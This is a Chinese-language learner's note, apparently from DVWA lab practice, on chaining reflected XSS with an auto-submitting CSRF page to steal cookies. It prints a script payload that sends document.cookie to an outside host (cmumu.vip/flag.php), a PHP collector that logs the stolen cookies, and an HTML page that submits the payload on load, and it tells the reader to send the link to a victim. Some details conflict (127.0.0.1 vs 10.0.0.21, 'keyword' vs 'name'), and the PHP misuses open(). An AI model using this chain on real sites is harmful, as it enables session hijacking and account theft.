XSS配合CSRF的利用 获取cookie
今天主要学了下XSS的利用,昨天找漏洞,今天主要是利用漏洞。
主要就是围绕这句话展开的
<script>document.location=“http://cmumu.vip/flag.php?cookie=”+document.cookie</script>
1.首先找到XSS漏洞,然后让它可以执行这句话。
2.document.location
这东西好像可以设置当前位置,你让它等于啥,网页就会跳转到哪。或者说它的值就是当前页面的URL。反正这东西可以用来页面跳转。具体的我也不知道,我也还没学JavaScript了。等以后学了再说吧。
3.创建flag.php
在自己的服务器上,创建一个flag.php的文件,来保存传过来的cookie,可能有点懵,但先往下看。
<?php
$cookie = $_GET["cookie"];
$log = open("cookie.txt","a");
fwrite($log,$cookie."\n");
fclose($log);
?>
4.document.cookie
这个是获取当前页面的cookie
5.执行
存在XSS漏洞的地方为,一个叫keyword的参数。所以我们就给它传参,让后把这个文件保存到自己的服务器上,命名为csrf.php.那么最后的链接就为 http://cmumu.vip/csrf.php 。
<html>
<script>
function submit()
{
var form=document.getElementById("go");
form.submit();
}
</script>
<body onload="submit()">
<form id="go" action="http://10.0.0.21/DVWA/vulnerabilities/xss_r/">
<input type="hidden" name="name" value="<script>document.location='http://cmumu.vip/flag.php?cookie='+document.cookie</script>">
</form>
</body>
</html>
6.总结
把这个链接发给受害者,受害者点击,csrf.php的代码被执行,页面自动提交,页面跳转到127.0.0.1这个网站,并给存在XSS漏洞的keyword参数传递JavaScript代码,JavaScript被执行,页面再次跳转,访问自己早就设置好的flag页面,并且把自己的cookie传过来,然后flag页面接收cookie参数,并把它保存在自己设置好的文件里。